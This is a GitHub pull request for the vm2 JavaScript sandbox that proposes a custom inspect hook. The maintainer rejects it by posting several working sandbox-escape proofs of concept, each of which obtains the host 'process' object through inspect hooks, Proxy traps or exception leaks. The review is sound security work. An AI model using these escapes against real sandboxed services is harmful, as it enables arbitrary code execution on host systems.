Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

custom inspector for objects, fix #314 #315

Closed
wants to merge 17 commits into from

Conversation

shigma
Copy link
Contributor

@shigma shigma commented Aug 10, 2020

No description provided.

@@ -199,6 +199,11 @@ Decontextify.instance = (instance, klass, deepTraps, flags, toStringTag) => {
if (key === '__lookupGetter__') return host.Object.prototype.__lookupGetter__;
if (key === '__lookupSetter__') return host.Object.prototype.__lookupSetter__;
if (key === host.Symbol.toStringTag && toStringTag) return toStringTag;
if (key === host.inspect.custom) {
return (depth, options) => {
return host.inspect(instance, options.showHidden, depth, options.colors);
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is unsafe. The instance object is from the sandbox and is passed into the host function inspect. This can be used to escape the sandbox. Here custom implementations inside the sandbox are required.

Copy link
Contributor Author

@shigma shigma Aug 10, 2020

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm sorry. Can you please provide an example to escape?

Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here you go:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {throw options.constructor.constructor('return process')()};
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

@shigma
Copy link
Contributor Author

shigma commented Aug 11, 2020

I will do

if (key === host.inspect.custom) {
	return (depth, options) => {
+		depth = Decontextify.value(depth);
+		options = Decontextify.value(options);
+		try {
			return host.inspect(instance, options.showHidden, depth, options.colors);
+		} catch (e) {
+			throw Decontextify.value(e);
+		}
	};
}

if other escaping behavior happen.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 11, 2020

Sorry, but thats just wrong. First, options is a host object, so it would require Contextify. Second, the escape still works since instance is required to be Decontextified before being passed to host.inspect and depth and options require noting. Since host.inspect throws a host excpetion, try ... catch should not Decontextify that exception.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 11, 2020

Instead of calling host.inspect you should try an approach as in shigma@9696f11.
However, only in the Decontextify part and don't forget to Decontextify the value of inspectCustom(toStringTag);

@shigma
Copy link
Contributor Author

shigma commented Aug 11, 2020

OK, I will try the other branch later.

Also I found something interesting. I was just not able to reproduce your escaping code because I use Node 14.7. Actually Node 14.6 will protect custom inspect functions for vm (nodejs/node@e0206bafe6, v14.5 -> v14.6).

Maybe we can enable this feature only for Node v14.6 or above?

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 11, 2020

Breakout for node v14.8.0:

const vm = new VM();
const code = '(' + function() {
    Object.defineProperty(Date, "name", {
        writable: true,
        configurable: true,
        enumerable: false,
        value: Symbol.hasInstance
    })
    return {
        __proto__: Date.prototype,
        constructor: Date,
        onError(e) {
            throw e.constructor.constructor("return process;")();
        }
    }
} + ')();';
const bad_object = vm.run(code);
console.log("Still good");
try {
    console.log(bad_object);
} catch (e) {
    bad_object.onError(e);
}
console.log("Logging is bad");

The node solution isn't safe.

@shigma
Copy link
Contributor Author

shigma commented Aug 12, 2020

The lastest commit will work if anything thrown by inspect is either an Error from the outside or something from the sandbox. However I'm not sure if one can get something else from the catch block.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 12, 2020

Still broken:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {
        const s = options.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    }
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

using host's inspect is to unsafe.

@shigma
Copy link
Contributor Author

shigma commented Aug 13, 2020

Sorry to disturb you but I would like to try a few more times. This is a precious experience for me.

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 13, 2020

Just one way the change is broken:

const vm = new VM();
const code = '(' + function() {
    const d = new Date();
    d.onError = (e) => {
        throw e(_=>_);
    }
    return new Proxy(d, {
        has(target, key) {
            throw (f) => f.constructor("return process;")();
        }
    });
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
try{
    console.log(bad_object);
}catch(e) {
    bad_object.onError(e);
}
console.log("Logging is bad");

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 13, 2020

And another way:

const vm = new VM();
const code = '(' + function() {
    const customInspect = Symbol.for('nodejs.util.inspect.custom');
    Date.prototype[customInspect] = (depth, options) => {
        const s = options.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    }
    return new Proxy(new Date(), {
        has(target, key) {
            return false;
        }
    });
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

@XmiliaH
Copy link
Collaborator

XmiliaH commented Aug 14, 2020

Now this works:

const vm = new VM();
const code = '(' + function() {
    Object.assign = (_, leak) => {
        const s = leak.stylize;
        function do_recursive() {
            try {
                s();
            } catch(e) {
                return e;
            }
            const r = do_recursive();
            if (r) return r;
            throw null;
        }
        throw do_recursive().constructor.constructor("return process;")();
    };
    return new Date();
}+')();';
const bad_object = vm.run(code);
console.log("Still good");
console.log(bad_object);
console.log("Logging is bad");

@shigma shigma requested a review from XmiliaH August 21, 2020 08:18
@stale
Copy link

stale bot commented Nov 21, 2020

This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.

@stale stale bot added the stale label Nov 21, 2020
@stale stale bot closed this Nov 29, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

inconsistent inspect behaviors between host objects and decontextified objects
2 participants